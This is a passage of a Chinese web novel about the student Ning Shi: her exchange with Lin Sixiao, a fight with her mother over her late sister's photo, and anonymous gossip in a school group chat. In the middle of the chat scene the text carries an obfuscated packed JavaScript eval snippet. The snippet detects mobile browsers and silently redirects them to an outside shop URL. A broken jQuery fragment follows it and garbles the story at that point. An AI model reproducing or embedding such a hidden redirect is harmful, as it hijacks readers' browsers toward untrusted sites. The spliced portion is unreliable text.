林思骁指尖在桌上触了触,他默不作声看了她一眼,支着头,神色冷淡,似乎什么也入不了她的眼。
他把视线收回,清了清嗓子,简短的回复了一句:“嗯。”
宁诗蓦地又想起第一次见到他,思绪在心中流转,她叹口气,秉着他帮过我,是个好人的心理关切问了句:“你伤到没?”
林思骁一愣,抬眸看着她,平静的眸里多了一些波澜。
宁诗好脾气的又重复了一遍:“你伤到没?”
林思骁这下反应过来是说刚才他打架的事了,他轻笑着指了指自己的脸:“没有。”
“你在关心我?”过了会儿,他又继续说,但语气是放缓的,像是经过犹豫后才说出来的。
宁诗这下多分了点视线,打量了他一眼,她眨了眨眼,又收回:“毕竟你帮过我那么多次。”
她摁了摁手机右侧,屏幕亮起,看了眼时间,估摸着差不多了,她起身垂着眼看林思骁,嗓音清泠:“林思骁。”
“从某种意义上我很佩服你,所以保护好自己。”
从她这儿看去,林思骁衣领翘着边,头发被他揉弄的有些毛躁,盯着桌面的某处角落,一副失落小狗模样。
宁诗微微叹口气。
她实在没有立场劝他少打架什么的,但刚才亲眼目睹他狠戾的样子,莫名想到和他第一次见面时他的狼狈,也就下意识这样劝了。
林思骁眨了眨眼,身子动了动:“嗯。”
宁诗觉得,虞冉那句话是对的,她和林思骁某种意义上来说很像,甚至可以说是同一种人。
现在的她或许不知道,在说出这一句话的这一刻,她已经有了从象牙塔跃下的想法。
……
宁诗拿到琴回家后,刚推开门进去,付兰脸上蕴着怒气,大步流星朝她走去,把一个相框递给她:“你怎么还放着这照片!”
她在换鞋,没拿稳相框,直直掉在地上,“砰--的一声。”
宁诗踩着鞋,捡起来把相框翻了一面,看清内容后她所有话都咽回了喉咙里,只惊讶的盯着上面,说不出一句话。
是宁画高中时拍的入学照,付兰不让她留着宁画照片,只能偷偷藏在房间,没想到被发现了。
付兰气打不出一处来,上手往相框一拍:“问你呢!”
她拿的本来就不稳,没有征兆的一拍,相框这会儿又掉地上,上面的木质边角有一块碎裂开,宁诗的理智在这一刻也随之碎裂。
“这是我姐。”宁诗音量拔高,她赤着眼,看着眼前这个被利益熏染的母亲,指着这个家的某处,吼着:“这是她家,凭什么我不能放着照片?”
如果不是曾经亲眼见过付兰和宁远沿对宁画的宠爱,她都会觉得付兰不爱宁画。
付兰没想到宁诗会突然发脾气,这么尖锐,她语气放缓,也没刚才的那股咄咄逼人劲儿:“诗诗,我是怕看到你姐姐会太伤心了。”
宁诗稍微回过神,理智回笼,她越过付兰的肩,只简短留下一句:“失态了,抱歉。”
房间被付兰翻的乱七八糟,甚至衣柜也没放过,裙子、裤子被丢在床上地上摊着,除了另外一个柜子的那些象征着荣誉的奖杯。
宁诗扯出一丝嘲讽的笑,弯腰把衣服拾起,重新挂回衣柜。
挂好,宁诗刚坐在床上,把小提琴包拉链拉开,拉到一半,手机振动了一下。
虞冉发来的消息,以及□□她被拉进了一个群聊。
雨安三中校友群。
宁诗诧异挑眉,先点进微信看虞冉的聊天记录,那边先是一串感叹号,然后才是说的话。
[虞冉:我把你拉进学校的交流群了,你快去看。]
群聊里有个功能是可以开匿名聊天,就像在网上裹了一层厚厚的衣服遮挡自己,聊天记录是他们的为所欲为的畅聊。
[宁诗和林思骁怎么扯上关系了?]
[我去,她不是那么傲吗,怎么看的上林思骁。]
[林思骁父母不是有钱,一大笔的遗产等着他继承,宁诗看不上人,也看的上那笔遗产吧?]
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135524|150071||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
后面是一阵哈哈哈。
他们说的是那天在厕所门口,宁诗把自己外套脱给林思骁的事,她那天之后见没人说,没想到现在才说。
在学习压力重的高中,似乎在学校只有八卦才是唯一的乐趣。
消息栏又弹出一条消息。
[虞冉:诗诗,你没生气吧?]
[宁诗:不至于。]
自从论坛实名制后,很少有人会在上面聊天,几乎都在群聊里,用着匿名马甲肆无忌惮的说着自己的见解。
……
这周是期中考,校园里难得死气沉沉的,一直为了考试而准备,走廊栏杆边堆了许多书,这些都是学校要求让学生把书搬出去的。
宁诗把自己所有书放进箱子里,才放到外面。
上个月考试的时候,隔壁班有个男生把书堆外面,结果第二天来发现自己的书好几处损坏的痕迹,上面还留下一道特别大的干了的水痕。
查监控发现是另外一个班的女生路过时,被几个在走廊推推搡搡的男生推倒,水杯里的水以及她被推倒,书封被那女生胳膊的一股力给搓开。
在那周朝会学校领导特意说了这件事,还批评了那几个在走廊打闹的男生。
从那件事起,宁诗怕自己的书也遭殃,索性在门口买了一个箱子,下面有滚轮的,推出去也不太废力,还安全。
马脸让她把考号给贴在桌上,贴到一半挤胶水瓶太过用力,一点胶水挤在手背上,一股黏腻劲儿。
宁诗临时托了学习委员继续贴考号,自己走到厕所去洗手。
其他学生此时正在自己的教室忙活,打扫卫生,走廊现在没人。
路过一个楼梯间,迎面上来俩个男生,慢悠悠的扶着扶手上楼,一点儿没有迟到的慌张感。
宁诗一愣,手背垂下,胶水顺着往下淌了点儿,淌到指缝,指尖张都张不开。
林思骁看见他,先诧异了一下,然后挥挥手:“真巧。”
池栖岳在旁边笑的一排大白牙露出:“宁诗同学你好。”